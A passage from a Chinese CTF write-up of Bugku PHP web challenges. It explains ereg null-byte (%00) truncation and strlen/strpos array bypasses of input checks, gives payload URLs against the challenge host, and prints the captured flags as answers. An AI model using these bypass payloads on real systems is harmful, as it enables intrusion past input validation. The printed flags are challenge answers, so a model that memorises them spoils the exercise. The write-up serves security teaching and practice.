t flag:
flag{Bugku-admin-ctfdaimash}
第十题:变量覆盖
变量覆盖????? 怎么感觉像是服务器被覆盖了!!!!!
第十一题:ereg正则%00截断
知识简介
ereg()函数语法:
int ereg ( string $pattern , string $string [, array &$regs ] ) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。 如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。
strlen()函数语法:
int strlen( string $string) 返回给定的字符串 string 的长度。 参数 string 需要计算长度的字符串。 返回值 成功则返回字符串 string 的长度;如果 string 为空,则返回 0。
strpos()函数语法:
strpos — 查找字符串首次出现的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出现的数字位置。 参数 haystack 在该字符串中进行查找。 needle 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。 offset 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 返回值 返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。 如果没找到 needle,将返回 FALSE。
题目信息
Topic Link:http://123.206.87.240:9009/5.php
<?php $flag = "xxx"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo ' You password must be alphanumeric '; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{ die('Flag: ' . $flag); } else { echo(' - have not been found '); } } else { echo ' Invalid password '; } } ?>
题目代码有误(也不知道是怎么个回事 mmp),正确代码应该是:
if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; }
利用strlen()函数和strpos()函数不能处理数组进行构造payload
或
利用ereg()函数的%00截断漏洞进行构造payload
代码审计需要满足三个条件:1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) ==》 FLASE
2. if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //正常感觉矛盾,但是可以利用科学计数法绕过1e8 > 9999999
3. if (strpos ($_GET['password'], '*-*') !== FALSE) //password的值应包含字符串 '*-*'
构造payload:
http://123.206.87.240:9009/5.php?password=1e8%00*-*
http://123.206.87.240:9009/5.php?password[]=
get flag:
Flag: flag{bugku-dm-sj-a12JH8}
第十二题:strpos数组绕过
知识简介
strpos()函数语法:
strpos — 查找字符串首次出现的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出现的数字位置。 参数 haystack 在该字符串中进行查找。 needle 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。 offset 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 返回值 返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。 如果没找到 needle,将返回 FALSE。
题目信息
<?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else
echo '骚年,继续努力吧啊~'; } ?>
利用strpos()函数不能处理数组进行构造payload
代码